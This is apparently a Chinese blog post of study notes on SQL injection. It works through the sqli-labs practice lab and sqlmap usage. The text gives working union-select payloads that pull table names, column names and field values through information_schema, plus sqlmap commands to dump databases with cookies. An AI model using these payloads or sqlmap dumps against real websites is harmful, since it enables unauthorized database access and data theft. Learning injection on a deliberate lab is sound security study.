目录
什么是sql注入?
怎么判断有没有sql注入
注入流程
Mysql的注释方式
常用函数,表名
常用参数
实例
sqli-lab
less-1
less-2
less-3
less-4
less-5
问题
什么是sql注入?
web应用程序对用户输入的数据的合法性没有判断,前端传入后端的参数是可控的,并且参数带入数据库查询,攻击者可以构造不同 sql语句来实现对数据库的任意操作。
两个条件:
1.参数用户可控:前端传给后端的参数内容是用户可以控制的
2.参数代入数据库查询:传入的参数拼接到sql语句中
怎么判断有没有sql注入
SELECT * FROM users WHERE id=1asdsadsad(随便输入) LIMIT 0,1
随便输入后对网页有影响说明带入数据库进行查询有注入点,没有影响说明没有带入数据库查询,出现404错误说明对输入检测 没有漏洞
注入流程
1.判断有没有SQL注入
2.判断数值型还是字符型
3.利用order by判断字段数
4.判断回显点 union select
5.爆破(要注意魔术引号问题)
Mysql的注释方式
在构造sql语句url时,使用--+是因为在url中+号表示空格,不使用空格也可以--%20(也是空格的意思)
用#注释时则需要使用%23
常用函数,表名
常用参数
information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_name:表名
column_name:列名
table_schema:数据库名
user() 查看当前MySQL登录的用户名
database() 查看当前使用MySQL数据库名
version() 查看当前MySQL版本
实例
先知道数据库名,猜出表名,在得出字段名,在出结果
利用order判断字段数
order by x(数字) 正常与错误的正常值 正确网页正常显示,错误网页报错
?id=1' order by 3--+
利用 union select 联合查询,将id值设置成不成立,即可探测到可利用的字段数
?id=-1 union select 1,2,3 --+
利用函数database(),user(),version()可以得到所探测数据库的数据库名、用户名和版本号
?id=-1 union select 1,database(),version() --+
利用 union select 联合查询,获取表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='已知库名'--+
利用 union select 联合查询,获取字段名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='已知表名'--+
利用 union select 联合查询,获取字段值
?id=-1' union select 1,2,group_concat(已知字段名,':'已知字段名) from 已知表名--+
sqli-lab
less-1
首先,判断类型
构造?id=1' 发现没有报错,则不是数值型
判断字段数
?id=1 order by 3(只有小于等于字段数才不会报错,这里是按照表的第三列进行排序,大于字段数时表里没该列所以报错)
然后判断回显点(显示的是哪个字段的信息),利用union函数
?id=-1' union select 1,2,3 (合并两个或多个结果集,必须要相同数量的列,一般只显示一条数据,所以前面需要为错误值才会显示union函数的结果)
然后将回显点改成user(),database(),version()得出当前用户名,数据库,数据库版本
然后
利用 union select 联合查询,获取表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='已知库名'--+
利用 union select 联合查询,获取字段名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='已知表名'--+
利用 union select 联合查询,获取字段值
?id=-1' union select 1,2,group_concat(已知字段名,':'已知字段名) from 已知表名--+
less-2
与less相似,去点 ’ (单引号)即可
less-3
输入?id=1' 报错如下
less-4
会发现不管输入什么都能正确输出
但是当输入id=1"时出现报错
可以猜测id是被("id")包围
这里是对传进来的id进行了加功,”.“是连接符,也就是变成"id",再放到括号里面变成("id")
less-5
问题
1.(concat,group——concat的区别)
2.魔术引号和php的问题
3.sql语句的执行,less-3,4
sqlmap简单使用
参考:
sqlmap 使用教程 - 简书
window sqlmap.py
kali sqlmap
1.判断是否有注入
sqlmap -u url?id=1
2.获取所有数据库名
sqlmap -u url?id=1 --dbs
3.获取当前数据库名
sqlmap -u url?id=1 --current-db
4.获取当前数据库所有表
sqlmap -u url?id=1 -D 数据库名 --tables
5.获取某个表所有字段
sqlmap -u url?id=11 -D 数据库名 -T 表名 --columns
6.获取字段值
sqlmap -u url?id=11 -D 数据库名 -T 表名 -C 列名 字段名 --dump
然后可以通过目录扫描,获取相应信息
如果遇到需要登录的情况则需要添加cookie
sqlmap -u "url?id=1" --cookie="可以抓包获取" --batch
这里测试时如果url不加双引号则扫描不了
加了--batch sqlmap不会询问你输入 全部默认确定
更多推荐
SQL注入
发布评论